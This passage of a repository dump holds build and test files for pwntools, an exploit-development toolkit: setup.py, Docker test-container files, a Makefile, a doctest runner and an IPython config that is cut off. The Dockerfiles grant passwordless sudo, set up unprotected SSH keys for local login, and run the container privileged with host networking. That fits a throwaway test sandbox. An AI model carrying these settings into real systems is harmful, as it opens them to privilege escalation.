    "content": "#!/usr/bin/env python3\n\nimport glob\nimport os\nimport sys\nfrom distutils.command.install import INSTALL_SCHEMES\nfrom distutils.sysconfig import get_python_inc\nfrom distutils.util import convert_path\n\nfrom setuptools import setup\n\n# Get all template files\ntemplates = []\nfor dirpath, dirnames, filenames in os.walk(convert_path('pwnlib/shellcraft/templates'), followlinks=True):\n    for f in filenames:\n        templates.append(os.path.relpath(os.path.join(dirpath, f), 'pwnlib'))\n\n# This makes pwntools-LICENSE.txt appear with the package folders\nfor scheme in INSTALL_SCHEMES.values():\n    scheme['data'] = scheme['purelib']\n\nconsole_scripts = ['pwn=pwnlib.commandline.main:main']\n\nDEPRECATED_SCRIPTS= [\n    'asm',\n    # 'checksec',\n    # 'constgrep',\n    'cyclic',\n    'debug',\n    'disablenx',\n    'disasm',\n    'elfdiff',\n    'elfpatch',\n    'errno',\n    'hex',\n    # 'libcdb',\n    # 'phd',\n    # 'pwnstrip',\n    'scramble',\n    # 'shellcraft',\n    'template',\n    'unhex',\n]\n\nfor filename in glob.glob('pwnlib/commandline/*'):\n    filename = os.path.basename(filename)\n    filename, ext = os.path.splitext(filename)\n\n    if ext != '.py' or filename in ('__init__', 'common', 'main', 'update', 'version'):\n        continue\n\n    if filename in DEPRECATED_SCRIPTS:\n        script = '%s=pwnlib.commandline.common:deprecated_main' % filename\n    else:\n        script = '%s=pwnlib.commandline.common:main' % filename\n    console_scripts.append(script)\n\n# Check that the user has installed the Python development headers\nPythonH = os.path.join(get_python_inc(), 'Python.h')\nif not os.path.exists(PythonH):\n    print(\"You must install the Python development headers!\", file=sys.stderr)\n    print(\"$ sudo apt-get install python-dev\", file=sys.stderr)\n    sys.exit(-1)\n\nsetup(\n    version              = '5.0.0dev',\n    data_files           = [('pwntools-doc',\n                             glob.glob('*.md') + glob.glob('*.txt')),\n                            ],\n    package_data         = {\n        'pwnlib': [\n            'data/crcsums.txt',\n            'data/useragents/useragents.txt',\n            'data/binutils/*',\n            'data/includes/*.h',\n            'data/includes/*/*.h',\n            'data/templates/*.mako',\n        ] + templates,\n    },\n    entry_points = {'console_scripts': console_scripts},\n)\n"
  },
  {
    "path": "travis/coverage_chdir.py",
    "content": "import coverage\nimport os\nimport sys\n\nos.environ.setdefault(\"COVERAGE_PROCESS_START\", \".coveragerc\")\ncoverage.process_startup()\n\n__file__ = os.path.abspath(sys.argv.pop(2))\nwith open(__file__) as fp:\n    code = compile(fp.read(), __file__, 'exec')\nos.chdir(sys.argv.pop(1))\nexec(code, globals())\n"
  },
  {
    "path": "travis/docker/.gitignore",
    "content": "pwntools.tar.gz\n"
  },
  {
    "path": "travis/docker/10-import.py",
    "content": "try:\n    from pwn import *\nexcept Exception:\n    print(\"Could not import pwntools\")\nimport os, re, sys, time, random, urllib, datetime, itertools, subprocess, multiprocessing\n"
  },
  {
    "path": "travis/docker/Dockerfile",
    "content": "FROM pwntools/pwntools:base\n\n# Support sharing history with the develop Dockerfile\nENV HISTFILE=/home/pwntools/.history\n\n# Uninstall existing versions of pwntools\nUSER root\nRUN python3 -m pip uninstall --break-system-packages -q -y pwntools\n\n# Switch back to the pwntools user from here forward\nUSER pwntools\nWORKDIR /home/pwntools\n\n# Since we are not installing Pwntools systemwide, the \"pwn\" binaries\n# etc will all end up in this path.\nENV PATH=\"/home/pwntools/.local/bin:${PATH}\"\n\n# Install Pwntools to the home directory, make it an editable install\nRUN git clone https://github.com/Gallopsled/pwntools \\\n && python3 -m pip install --break-system-packages --upgrade --editable pwntools \\\n && PWNLIB_NOTERM=1 pwn version\n\n# Requirements for running the tests\nRUN python3 -m pip install --break-system-packages --upgrade --requirement pwntools/docs/requirements.txt\n\n# Python niceties for debugging\nRUN python3 -m pip install --break-system-packages -U ipython ipdb\n\n# Dependencies from .travis.yml addons -> apt -> packages\nARG DEBIAN_FRONTEND=noninteractive\nENV TZ=\"UTC\"\nRUN sudo apt-get update && sudo -E apt-get install -y \\\n\ttzdata \\\n\tash \\\n\tbash \\\n\tbash-static \\\n\tbinutils-msp430 \\\n\tbinutils-multiarch \\\n\tbinutils-s390x-linux-gnu \\\n\tdash \\\n\tgcc \\\n\tgcc-multilib \\\n\tgdb \\\n\tksh \\\n\tlib32stdc++6 \\\n\tlibc6-dev-i386 \\\n\tmksh \\\n\tpandoc \\\n\tqemu-user-static \\\n\tsocat \\\n\tsshpass \\\n\tvim \\\n\tzsh \\\n# Misc useful things when developing\n\tcurl \\\n\tipython3 \\\n\tlsb-release \\\n\tssh \\\n\tunzip \\\n\twget\n\n# Use zsh by default\nRUN sudo -E chsh -s /bin/zsh pwntools\n\n# Get and install prezto\nRUN git clone --recursive https://github.com/sorin-ionescu/prezto.git .zprezto\nRUN bash -c 'for file in .zprezto/runcoms/z*; do ln -s $file .$(basename $file); done'\n\n# Get and install pwndbg\nRUN git clone --recursive https://github.com/pwndbg/pwndbg\nRUN cd pwndbg && ./setup.sh\n\n# Install autocompletion\nRUN ln -s /home/pwntools/pwntools/extra/zsh_completion/_pwn /home/pwntools/.zprezto/modules/completion/external/src\n\n# Install ipython profile and auto-import\nRUN mkdir -p           /home/pwntools/.ipython/profile_default/startup\nADD 10-import.py       /home/pwntools/.ipython/profile_default/startup\nADD ipython_config.py  /home/pwntools/.ipython/profile_default\n\n# Do not require password for sudo\nRUN echo \"pwntools ALL=(ALL:ALL) NOPASSWD: ALL\" | sudo tee /etc/sudoers.d/travis\n# Install debugging utilities\nUSER root\nRUN apt-get -y install gdb gdbserver tmux gdb-multiarch\n\n# Set up binfmt-misc mappings inside the VM\nUSER root\nRUN mkdir /etc/qemu-binfmt && \\\n    ln -sf /usr/lib/arm-linux-gnueabihf /etc/qemu-binfmt/arm && \\\n    ln -sf /usr/lib/aarch64-linux-gnu   /etc/qemu-binfmt/aarch64 && \\\n    ln -sf /usr/lib/mips-linux-gnu      /etc/qemu-binfmt/mips && \\\n    ln -sf /usr/lib/mipsel-linux-gnu    /etc/qemu-binfmt/mipsel && \\\n    ln -sf /usr/lib/powerpc-linux-gnu   /etc/qemu-binfmt/powerpc && \\\n    ln -sf /usr/lib/powerpc-linux-gnu64 /etc/qemu-binfmt/powerpc64 && \\\n    ln -sf /usr/lib/sparc64-linux-gnu   /etc/qemu-binfmt/sparc64 && \\\n    ln -sf /usr/lib/riscv64-linux-gnu   /etc/qemu-binfmt/riscv64 && \\\n    ln -sf /usr/lib/loongarch64-linux-gnu   /etc/qemu-binfmt/loongarch64\n\n# Create the Travis user\nUSER root\nRUN useradd -m travis\nRUN echo \"travis ALL=(ALL:ALL) NOPASSWD: ALL\" > /etc/sudoers.d/travis\n\n# Set up SSH stuff so we can SSH into localhost\nUSER pwntools\nRUN ssh-keygen -t rsa -f ~/.ssh/id_rsa -N '' && \\\n    cp ~/.ssh/id_rsa.pub /tmp && \\\n    echo \\\n\"Host *\\n\\\n    User travis\\n\\\n    HostName 127.0.0.1\\n\\\n\"> ~/.ssh/config\n\n# Set up authorized_keys so we can login as travis with no creds\nUSER travis\nRUN mkdir -m 0700 ~/.ssh && \\\n    echo 'from=\"127.0.0.1\"' $(cat /tmp/id_rsa.pub) > ~/.ssh/authorized_keys\n\n# Add the doctest entrypoint to /usr/bin so we don't have to supply the full path\nUSER root\nADD doctest3 /usr/bin\n\n# Switch back to pwntools to actually run the image\nUSER pwntools\nWORKDIR /home/pwntools\n\n# Copy in the Doctest script\nCOPY doctest3 tmux.sh /home/pwntools/\n\n# Do everything in UTF-8 mode!\nENV LANG=C.UTF-8\nENV LC_ALL=C.UTF-8\nENV SHELL=/bin/bash\n\n# Set entry point to doctest by default\nWORKDIR /home/pwntools\n"
  },
  {
    "path": "travis/docker/Dockerfile.travis",
    "content": "# Install debugging utilities\nUSER root\nRUN apt-get -y install gdb gdbserver tmux gdb-multiarch\n\n# Set up binfmt-misc mappings inside the VM\nUSER root\nRUN mkdir /etc/qemu-binfmt && \\\n    ln -sf /usr/lib/arm-linux-gnueabihf /etc/qemu-binfmt/arm && \\\n    ln -sf /usr/lib/aarch64-linux-gnu   /etc/qemu-binfmt/aarch64 && \\\n    ln -sf /usr/lib/mips-linux-gnu      /etc/qemu-binfmt/mips && \\\n    ln -sf /usr/lib/mipsel-linux-gnu    /etc/qemu-binfmt/mipsel && \\\n    ln -sf /usr/lib/powerpc-linux-gnu   /etc/qemu-binfmt/powerpc && \\\n    ln -sf /usr/lib/powerpc-linux-gnu64 /etc/qemu-binfmt/powerpc64 && \\\n    ln -sf /usr/lib/sparc64-linux-gnu   /etc/qemu-binfmt/sparc64 && \\\n    ln -sf /usr/lib/riscv64-linux-gnu   /etc/qemu-binfmt/riscv64 && \\\n    ln -sf /usr/lib/loongarch64-linux-gnu   /etc/qemu-binfmt/loongarch64\n\n# Create the Travis user\nUSER root\nRUN useradd -m travis\nRUN echo \"travis ALL=(ALL:ALL) NOPASSWD: ALL\" > /etc/sudoers.d/travis\n\n# Set up SSH stuff so we can SSH into localhost\nUSER pwntools\nRUN ssh-keygen -t rsa -f ~/.ssh/id_rsa -N '' && \\\n    cp ~/.ssh/id_rsa.pub /tmp && \\\n    echo \\\n\"Host *\\n\\\n    User travis\\n\\\n    HostName 127.0.0.1\\n\\\n\"> ~/.ssh/config\n\n# Set up authorized_keys so we can login as travis with no creds\nUSER travis\nRUN mkdir -m 0700 ~/.ssh && \\\n    echo 'from=\"127.0.0.1\"' $(cat /tmp/id_rsa.pub) > ~/.ssh/authorized_keys\n\n# Add the doctest entrypoint to /usr/bin so we don't have to supply the full path\nUSER root\nADD doctest3 /usr/bin\n\n# Switch back to pwntools to actually run the image\nUSER pwntools\nWORKDIR /home/pwntools\n\n# Copy in the Doctest script\nCOPY doctest3 tmux.sh /home/pwntools/\n\n# Do everything in UTF-8 mode!\nENV LANG=C.UTF-8\nENV LC_ALL=C.UTF-8\nENV SHELL=/bin/bash\n\n# Set entry point to doctest by default\nWORKDIR /home/pwntools\n"
  },
  {
    "path": "travis/docker/Makefile",
    "content": "ROOT = $(shell git rev-parse --show-toplevel)\n$(shell reset)\n\nall: doctest3\n\nDockerfile: FORCE\n\tcp $(ROOT)/extra/docker/develop/Dockerfile Dockerfile\n\tcat Dockerfile.travis >> Dockerfile\n\tcp $(ROOT)/extra/docker/develop/10-import.py 10-import.py\n\tcp $(ROOT)/extra/docker/develop/ipython_config.py ipython_config.py\n\n\nshell bash: image\n\t@echo Running interactive shell\n\tdocker run -it --privileged --net=host --hostname localhost \\\n\t\t--ulimit core=-1:-1 \\\n\t\t--mount type=bind,source=\"$(ROOT)\",target=/home/pwntools/pwntools \\\n\t\t--entrypoint ./tmux.sh \\\n\t\ttravis\n\ndoctest3: image FORCE\n\t@echo Running doctests\n\tdocker run -it --privileged --net=host --hostname localhost \\\n\t\t--ulimit core=-1:-1 \\\n\t\t--mount type=bind,source=\"$(ROOT)\",target=/home/pwntools/pwntools \\\n\t\t--env TARGET=$(TARGET) \\\n\t\t--entrypoint ./$@ \\\n\t\ttravis\n\nimage: Dockerfile\n\tdocker build -t travis .\n\nFORCE:\n.PHONY: all image doctest3 bash\n"
  },
  {
    "path": "travis/docker/README.md",
    "content": "# Testing in a Can\n\nThis is a Dockerfile which has all of the requirements for testing pwntools.\n\nIt's pretty simple, just run `make`.  All of your changes will be copied into the docker container, and the doctest suite will be executed automatically.\n\n```shell\n$ make -C travis/docker ANDROID=yes\n$ make -C travis/docker ANDROID=no TARGET=ssh.rst\n```\n\nYou can get drop into a tmux session in the container to debug tests using the `shell` or `bash` targets.\n\n```shell\n$ make -C travis/docker shell\n```\n\n## Options\n\nCurrently, the options `TARGET` and `ANDROID` are available.\n\n### `ANDROID`\n\nControls whether or not to run the Android test.  The valid options are ``yes`` (the default) and ``no``.\n\n### `TARGET`\n\nThis is appended to the `sphinx` command line, but generally is useful to select a specific `rst` file to parse (e.g. to only run those tests).\n\n## Known Issues\n\nCurrently, some tests are broken when executed in Docker.\n\n- `process.leak()` is broken, as it relies on `/proc/<pid>/mem`\n- `srop` tests are broken, since there are issues with `SYS_sigreturn` when running in Docker.\n"
  },
  {
    "path": "travis/docker/doctest3",
    "content": "#!/usr/bin/env bash\n\nreset\n\n# We have to explicitly start the ssh service\nsudo service ssh start\n\n# Enable the IPv6 interface\necho 0 | sudo tee /proc/sys/net/ipv6/conf/all/disable_ipv6\n\n# Run the tests from the repo\ncd ~\n\nORIG_TARGET=\"$TARGET\"\n\nif [ -n \"$TARGET\" ]; then\n\tTARGET=$(find ~/pwntools/docs/source -iname \"$TARGET\")\n\n\tif [ -z \"$TARGET\" ]; then\n\t\techo \"Could not find target $ORIG_TARGET\"\n\t\texit 1\n\tfi\n\n\techo \"DOCTEST TARGET is $TARGET\"\nfi\n\n# GDB tests currently don't work inside Docker for unknown reasons.\n# Disable these tests until we can get them working.\necho > ~/pwntools/docs/source/gdb.rst\necho > ~/pwntools/docs/source/adb.rst\necho > ~/pwntools/docs/source/protocols.rst\n\nexport PWNLIB_NOTERM=1 \npython3 -bb -m coverage run -m sphinx -b doctest $HOME/pwntools/docs/source $HOME/pwntools/docs/build/doctest $TARGET\n\n"
  },
  {
    "path": "travis/docker/ipython_config.py",
    "content": "# Configuration file for ipython.\n\nc = get_config()\n\n#------------------------------------------------------------------------------\n# InteractiveShellApp configuration\n#------------------------------------------------------------------------------\n\n# A Mixin for applications that start InteractiveShell instances.\n#\n# Provides configurables for loading extensions and executing files as part of\n# configuring a Shell environment.\n#\n# The following methods should be called by the :meth:`initialize` method of the\n# subclass:\n#\n#   - :meth:`init_path`\n#   - :meth:`init_shell` (to be implemented by the subclass)\n#   - :meth:`init_gui_pylab`\n#   - :meth:`init_extensions`\n#   - :meth:`init_code`\n\n# Execute the given command string.\n# c.InteractiveShellApp.code_to_run = ''\n\n# Run the file referenced by the PYTHONSTARTUP environment variable at IPython\n# startup.\n# c.InteractiveShellApp.exec_PYTHONSTARTUP = True\n\n# lines of code to run at IPython startup.\nc.InteractiveShell.confirm_exit = False\nc.InteractiveShell.separate_in = ''\nc.InteractiveShell.separate_out = ''\nc.InteractiveShell.separate_out2 = ''\n\n# c.PromptManager.in_template  = '>>> '\n# c.PromptManager.in2_template = '..: '\n# c.PromptManager.out_template = ''\n# c.PromptManager.justify = False\n\nc.TerminalIPythonApp.display_banner = False\n\nfrom IPython.terminal.prompts import Prompts, Token\n\nclass ClassicPrompts(Prompts):\n    def in_prompt_tokens(self, cli=None):\n        return [\n            (Token.Prompt, '>>> '),\n        ]\n\n    def continuation_prompt_tokens(self, cli=None, width=None):\n        return [\n            (Token.Prompt, '... ')\n        ]\n\n    def rewrite_prompt_tokens(self):\n        return []\n\n    def out_prompt_tokens(self):\n        return []\n\nc.TerminalInteractiveShell.prompts_class = ClassicPrompts\n\n# Enable GUI event loop integration with any of ('glut', 'gtk', 'gtk3', 'none',\n# 'osx', 'pyglet', 'qt', 'qt4', 'tk', 'wx').\n# c.InteractiveShellApp.gui = None\n\n# Pre-load matplotlib and numpy for interactive use, selecting a particular\n# matplotlib backend and loop integration.\n# c.InteractiveShellApp.pylab = None\n\n# Configure matplotlib for interactive use with the default matplotlib backend.\n# c.InteractiveShellApp.matplotlib = None\n\n# If true, IPython will populate the user namespace with numpy, pylab, etc. and\n# an ``import *`` is done from numpy and pylab, when using pylab mode.\n#\n# When False, pylab mode should not import any names into the user namespace.\n# c.InteractiveShellApp.pylab_import_all = True\n\n# A list of dotted module names of IPython extensions to load.\n# c.InteractiveShellApp.extensions = []\n\n# Run the module as a script.\n# c.InteractiveShellApp.module_to_run = ''\n\n# Should variables loaded at startup (by startup files, exec_lines, etc.) be\n# hidden from tools like %who?\n# c.InteractiveShellApp.hide_initial_ns = True\n\n# dotted module name of an IPython extension to load.\n# c.InteractiveShellApp.extra_extension = ''\n\n# List of files to run at IPython startup.\n# c.InteractiveShellApp.exec_files = []\n\n# A file to be run\n# c.InteractiveShellApp.file_to_run = ''\n\n#------------------------------------------------------------------------------\n# TerminalIPythonApp configuration\n#------------------------------------------------------------------------------\n\n# TerminalIPythonApp will inherit config from: BaseIPythonApplication,\n# Application, InteractiveShellApp\n\n# Run the file referenced by the PYTHONSTARTUP environment variable at IPython\n# startup.\n# c.TerminalIPythonApp.exec_PYTHONSTARTUP = True\n\n# Pre-load matplotlib and numpy for interactive use, selecting a particular\n# matplotlib backend and loop integration.\n# c.TerminalIPythonApp.pylab = None\n\n# Create a massive crash report when IPython encounters what may be an internal\n# error.  The default is to append a short message to the usual traceback\n# c.TerminalIPythonApp.verbose_crash = False\n\n# Run the module as a script.\n# c.TerminalIPythonApp.module_to_run = ''\n\n# The date format used by logging formatters for %(asctime)s\n# c.TerminalIPythonApp.log_datefmt = '%Y-%m-%d %H:%M:%S'\n\n# Whether to overwrite existing config files when copying\n# c.TerminalIPythonApp.overwrite = False\n\n# Execute the given command string.\n# c.TerminalIPythonApp.code_to_run = ''\n\n# Set the log level by value or name.\n# c.TerminalIPythonApp.log_level = 30\n\n# lines of code to run at IPython startup.\n# c.TerminalIPythonApp.exec_lines = []\n\n# Suppress warning messages about legacy config files\n# c.TerminalIPythonApp.ignore_old_config = False\n\n# Path to an extra config file to load.\n#\n# If specified, load this config file in addition to any other IPython config.\n# c.TerminalIPythonApp.extra_config_file = u''\n\n# Should variables loaded at startup (by startup files, exec_lines, etc.) be\n# hidden from tools like %who?\n# c.TerminalIPythonApp.hide_initial_ns = True\n\n# dotted module name of an IPython extension to load.\n# c.TerminalIPythonApp.extra_extension = ''\n\n# A file to be run\n# c.TerminalIPythonApp.file_to_run = ''\n\n# The IPython profile to use.\n# c.TerminalIPythonApp.profile = u'default'\n\n# Configure matplotlib for interactive use with the default matplotlib backend.\n# c.TerminalIPythonApp.matplotlib = None\n\n# If a command or file is given via the command-line, e.g. 'ipython foo.py',\n# start an interactive shell after executing the file or command.\n# c.TerminalIPythonApp.force_interact = False\n\n# If true, IPython will populate the user namespace with numpy, pylab, etc. and\n# an ``import *`` is done from numpy and pylab, when using pylab mode.\n#\n# When False, pylab mode should not import any names into the user namespace.\n# c.TerminalIPythonApp.pylab_import_all = True\n\n# The name of the IPython directory. This directory is used for logging\n# configuration (through profiles), history storage, etc. The default is usually\n# $HOME/.ipython. This options can also be specified through the environment\n# variable IPYTHONDIR.\n# c.TerminalIPythonApp.ipython_dir = u''\n\n# Whether to display a banner upon starting IPython.\n# c.TerminalIPythonApp.display_banner = True\n\n# Whether to install the default config files into the profile dir. If a new\n# profile is being created, and IPython contains config files for that profile,\n# then they will be staged into the new directory.  Otherwise, default config\n# files will be automatically generated.\n# c.TerminalIPythonApp.copy_config_files = False\n\n# List of files to run at IPython startup.\n# c.TerminalIPythonApp.exec_files = []\n\n# Enable GUI event loop integration with any of ('glut', 'gtk', 'gtk3', 'none',\n# 'osx', 'pyglet', 'qt', 'qt4', 'tk', 'wx').\n# c.TerminalIPythonApp.gui = None\n\n# A list of dotted module names of IPython extensions to load.\n# c.TerminalIPythonApp.extensions = []\n\n# Start IPython quickly by skipping the loading of config files.\n# c.TerminalIPythonApp.quick = False\n\n# The Logging format template\n# c.TerminalIPythonApp.log_format = '[%(name)s]%(highlevel)s %(message)s'\n\n#------------------------------------------------------------------------------\n# TerminalInteractiveShell configuration\n#------------------------------------------------------------------------------\n\n# TerminalInteractiveShell will inherit config from: InteractiveShell\n\n# auto editing of files with syntax errors.\n# c.TerminalInteractiveShell.autoedit_syntax = False\n\n# Use colors for displaying information about objects. Because this information\n# is passed through a pager (like 'less'), and some pagers get confused with\n# color codes, this capability can be turned off.\n# c.TerminalInteractiveShell.color_info = True\n\n# A list of ast.NodeTransformer subclass instances, which will be applied to\n# user input before code is run.\n# c.TerminalInteractiveShell.ast_transformers = []\n\n#\n# c.TerminalInteractiveShell.history_length = 10000\n\n# Don't call post-execute functions that have failed in the past.\n# c.TerminalInteractiveShell.disable_failing_post_execute = False\n\n# Show rewritten input, e.g. for autocall.\n# c.TerminalInteractiveShell.show_rewritten_input = True\n\n# Set the color scheme (NoColor, Linux, or LightBG).\n# c.TerminalInteractiveShell.colors = 'Linux'\n\n# Autoindent IPython code entered interactively.\n# c.TerminalInteractiveShell.autoindent = True\n\n#\n# c.TerminalInteractiveShell.separate_in = '\\n'\n\n# Deprecated, use PromptManager.in2_template\n# c.TerminalInteractiveShell.prompt_in2 = '   .\\\\D.: '\n\n#\n# c.TerminalInteractiveShell.separate_out = ''\n\n# Deprecated, use PromptManager.in_template\n# c.TerminalInteractiveShell.prompt_in1 = 'In [\\\\#]: '\n\n# Make IPython automatically call any callable object even if you didn't type\n# explicit parentheses. For example, 'str 43' becomes 'str(43)' automatically.\n# The value can be '0' to disable the feature, '1' for 'smart' autocall, where\n# it is not applied if there are no more arguments on the line, and '2' for\n# 'full' autocall, where all callable objects are automatically called (even if\n# no arguments are present).\n# c.TerminalInteractiveShell.autocall = 0\n\n# Number of lines of your screen, used to control printing of very long strings.\n# Strings longer than this number of lines will be sent through a pager instead\n# of directly printed.  The default value for this is 0, which means IPython\n# will auto-detect your screen size every time it needs to print certain\n# potentially long strings (this doesn't change the behavior of the 'print'\n# keyword, it's only triggered internally). If for some reason this isn't\n# working well (it needs curses support), specify it yourself. Otherwise don't\n# change the default.\n# c.TerminalInteractiveShell.screen_length = 0\n\n# Set the editor used by IPython (default to $EDITOR/vi/notepad).\n# c.TerminalInteractiveShell.editor = u'nano'\n\n# Deprecated, use PromptManager.justify\n# c.TerminalInteractiveShell.prompts_pad_left = True\n\n# The part of the banner to be printed before the profile\n# c.TerminalInteractiveShell.banner1 = 'Python 2.7.6 (default, Apr 23 2014, 12:04:55) \\nType \"copyright\", \"credits\" or \"license\" for more information.\\n\\nIPython 2.0.0 -- An enhanced Interactive Python.\\n?         -> Introduction and overview of IPython\\'s features.\\n%quickref -> Quick reference.\\nhelp      -> Python\\'s own help system.\\nobject?   -> Details about \\'object\\', use \\'object??\\' for extra details.\\n'\n\n#\n# c.TerminalInteractiveShell.readline_parse_and_bind = ['tab: complete', '\"\\\\C-l\": clear-screen', 'set show-all-if-ambiguous on', '\"\\\\C-o\": tab-insert', '\"\\\\C-r\": reverse-search-history', '\"\\\\C-s\": forward-search-history', '\"\\\\C-p\": history-search-backward', '\"\\\\C-n\": history-search-forward', '\"\\\\e[A\": history-search-backward', '\"\\\\e[B\": history-search-forward', '\"\\\\C-k\": kill-line', '\"\\\\C-u\": unix-line-discard']\n\n# The part of the banner to be printed after the profile\n# c.TerminalInteractiveShell.banner2 = ''\n\n#\n# c.TerminalInteractiveShell.separate_out2 = ''\n\n#\n# c.TerminalInteractiveShell.wildcards_case_sensitive = True\n\n#\n# c.TerminalInteractiveShell.debug = False\n\n# Set to confirm when you try to exit IPython with an EOF (Control-D in Unix,\n# Control-Z/Enter in Windows). By typing 'exit' or 'quit', you can force a\n# direct exit without any confirmation.\n# c.TerminalInteractiveShell.confirm_exit = True\n\n#\n# c.TerminalInteractiveShell.ipython_dir = ''\n\n#\n# c.TerminalInteractiveShell.readline_remove_delims = '-/~'\n\n# Start logging to the default log file.\n# c.TerminalInteractiveShell.logstart = False\n\n# The name of the logfile to use.\n# c.TerminalInteractiveShell.logfile = ''\n\n# The shell program to be used for paging.\n# c.TerminalInteractiveShell.pager = 'less'\n\n# Enable magic commands to be called without the leading %.\n# c.TerminalInteractiveShell.automagic = True\n\n# Save multi-line entries as one entry in readline history\n# c.TerminalInteractiveShell.multiline_history = True\n\n#\n# c.TerminalInteractiveShell.readline_use = True\n\n# Enable deep (recursive) reloading by default. IPython can use the deep_reload\n# module which reloads changes in modules recursively (it replaces the reload()\n# function, so you don't need to change anything to use it). deep_reload()\n# forces a full reload of modules whose code may have changed, which the default\n# reload() function does not.  When deep_reload is off, IPython will use the\n# normal reload(), but deep_reload will still be available as dreload().\n# c.TerminalInteractiveShell.deep_reload = False\n\n# Start logging to the given file in append mode.\n# c.TerminalInteractiveShell.logappend = ''\n\n#\n# c.TerminalInteractiveShell.xmode = 'Context'\n\n#\n# c.TerminalInteractiveShell.quiet = False\n\n# Enable auto setting the terminal title.\n# c.TerminalInteractiveShell.term_title = False\n\n#\n# c.TerminalInteractiveShell.object_info_string_level = 0\n\n# Deprecated, use PromptManager.out_template\n# c.TerminalInteractiveShell.prompt_out = 'Out[\\\\#]: '\n\n# Set the size of the output cache.  The default is 1000, you can change it\n# permanently in your config file.  Setting it to 0 completely disables the\n# caching system, and the minimum value accepted is 20 (if you provide a value\n# less than 20, it is reset to 0 and a warning is issued).  This limit is\n# defined because otherwise you'll spend more time re-flushing a too small cache\n# than working\n# c.TerminalInteractiveShell.cache_size = 1000\n\n# 'all', 'last', 'last_expr' or 'none', specifying which nodes should be run\n# interactively (displaying output from expressions).\n# c.TerminalInteractiveShell.ast_node_interactivity = 'last_expr'\n\n# Automatically call the pdb debugger after every exception.\n# c.TerminalInteractiveShell.pdb = False\n\n#------------------------------------------------------------------------------\n# PromptManager configuration\n#------------------------------------------------------------------------------\n\n# This is the primary interface for producing IPython's prompts.\n\n# Output prompt. '\\#' will be transformed to the prompt number\n# c.PromptManager.out_template = 'Out[\\\\#]: '\n\n# Continuation prompt.\n# c.PromptManager.in2_template = '   .\\\\D.: '\n\n# If True (default), each prompt will be right-aligned with the preceding one.\n# c.PromptManager.justify = True\n\n# Input prompt.  '\\#' will be transformed to the prompt number\n# c.PromptManager.in_template = 'In [\\\\#]: '\n\n#\n# c.PromptManager.color_scheme = 'Linux'\n\n#------------------------------------------------------------------------------\n# HistoryManager configuration\n#------------------------------------------------------------------------------\n\n# A class to organize all history-related functionality in one place.\n\n# HistoryManager will inherit config from: HistoryAccessor\n\n# Should the history database include output? (default: no)\n# c.HistoryManager.db_log_output = False\n\n# Write to database every x commands (higher values save disk access & power).\n# Values of 1 or less effectively disable caching.\n# c.HistoryManager.db_cache_size = 0\n\n# Path to file to use for SQLite history database.\n#\n# By default, IPython will put the history database in the IPython profile\n# directory.  If you would rather share one history among profiles, you can set\n# this value in each, so that they are consistent.\n#\n# Due to an issue with fcntl, SQLite is known to misbehave on some NFS mounts.\n# If you see IPython hanging, try setting this to something on a local disk,\n# e.g::\n#\n#     ipython --HistoryManager.hist_file=/tmp/ipython_hist.sqlite\n# c.HistoryManager.hist_file = u''\n\n# Options for configuring the SQLite connection\n#\n# These options are passed as keyword args to sqlite3.connect when establishing\n# database conenctions.\n# c.HistoryManager.connection_options = {}\n\n# enable the SQLite history\n#\n# set enabled=False to disable the SQLite history, in which case there will be\n# no stored history, no SQLite connection, and no background saving thread.\n# This may be necessary in some threaded environments where IPython is embedded.\n# c.HistoryManager.enabled = True\n\n#------------------------------------------------------------------------------\n# ProfileDir configuration\n#------------------------------------------------------------------------------\n\n# An object to manage the profile directory and its resources.\n#\n# The profile directory is used by all IPython applications, to manage\n# configuration, logging and security.\n#\n# This object knows how to find, create and manage these directories. This\n# should be used by any code that wants to handle profiles.\n\n# Set the profile location directly. This overrides the logic used by the\n# `profile` option.\n# c.ProfileDir.location = u''\n\n#------------------------------------------------------------------------------\n# PlainTextFormatter configuration\n#------------------------------------------------------------------------------\n\n# The default pretty-printer.\n#\n# This uses :mod:`IPython.lib.pretty` to compute the format data of the object.\n# If the object cannot be pretty printed, :func:`repr` is used. See the\n# documentation of :mod:`IPython.lib.pretty` for details on how to write pretty\n# printers.  Here is a simple example::\n#\n#     def dtype_pprinter(obj, p, cycle):\n#         if cycle:\n#             return p.text('dtype(...)')\n#         if hasattr(obj, 'fields'):\n#             if obj.fields is None:\n#                 p.text(repr(obj))\n#             else:\n#                 p.begin_group(7, 'dtype([')\n#                 for i, field in enumerate(obj.descr):\n#                     if i > 0:\n#                         p.text(',')\n#                         p.breakable()\n#                     p.pretty(field)\n#                 p.end_group(7, '])')\n\n# PlainTextFormatter will inherit config from: BaseFormatter\n\n#\n# c.PlainTextFormatter.type_printers = {}\n\n#\n# c.PlainTextFormatter.newline = '\\n'\n\n#\n# c.PlainTextFormatter.float_precision = ''\n\n#\n# c.PlainTextFormatter.verbose = False\n\n#\n# c.PlainTextFormatter.deferred_printers = {}\n\n#\n# c.PlainTextFormatter.pprint = True\n\n#\n# c.PlainTextFormatter.max_width = 79\n\n#\n# c.PlainTextFormatter.singleton_printers = {}\n\n#------------------------------------------------------------------------------\n# IPCompleter configuration\n#------------------------------------------------------------------------------\n\n# Extension of the completer class with IPython-specific features\n\n# IPCompleter will inherit config from: Completer\n\n# Instruct the completer to omit private method names\n#\n# Specifically, when completing on ``object.<tab>``.\n#\n# When 2 [default]: all names that start with '_' will be excluded.\n#\n# When 1: all 'magic' names (``__foo__``) will be excluded.\n#\n# When 0: nothing will be excluded.\n# c.IPCompleter.omit__names = 2\n\n# Whether to merge completion results into a single list\n#\n# If False, only the completion results from the first non-empty completer will\n# be returned.\n# c.IPCompleter.merge_completions = True\n\n# Instruct the completer to use __all__ for the completion\n#\n# Specifically, when completing on ``object.<tab>``.\n#\n# When True: only those names in obj.__all__ will be included.\n#\n# When False [default]: the __all__ attribute is ignored\n# c.IPCompleter.limit_to__all__ = False\n\n# Activate greedy completion\n#\n# This will enable completion on elements of lists, results of function calls,\n# etc., but can be unsafe because the code is actually evaluated on TAB.\n# c.IPCompleter.greedy = False\n\n#------------------------------------------------------------------------------\n# ScriptMagics configuration\n#------------------------------------------------------------------------------\n\n# Magics for talking to scripts\n#\n# This defines a base `%%script` cell magic for running a cell with a program in\n# a subprocess, and registers a few top-level magics that call %%script with\n# common interpreters.\n\n# Extra script cell magics to define\n#\n# This generates simple wrappers of `%%script foo` as `%%foo`.\n#\n# If you want to add script magics that aren't on your path, specify them in\n# script_paths\n# c.ScriptMagics.script_magics = []\n\n# Dict mapping short 'ruby' names to full paths, such as '/opt/secret/bin/ruby'\n#\n# Only necessary for items in script_magics where the default 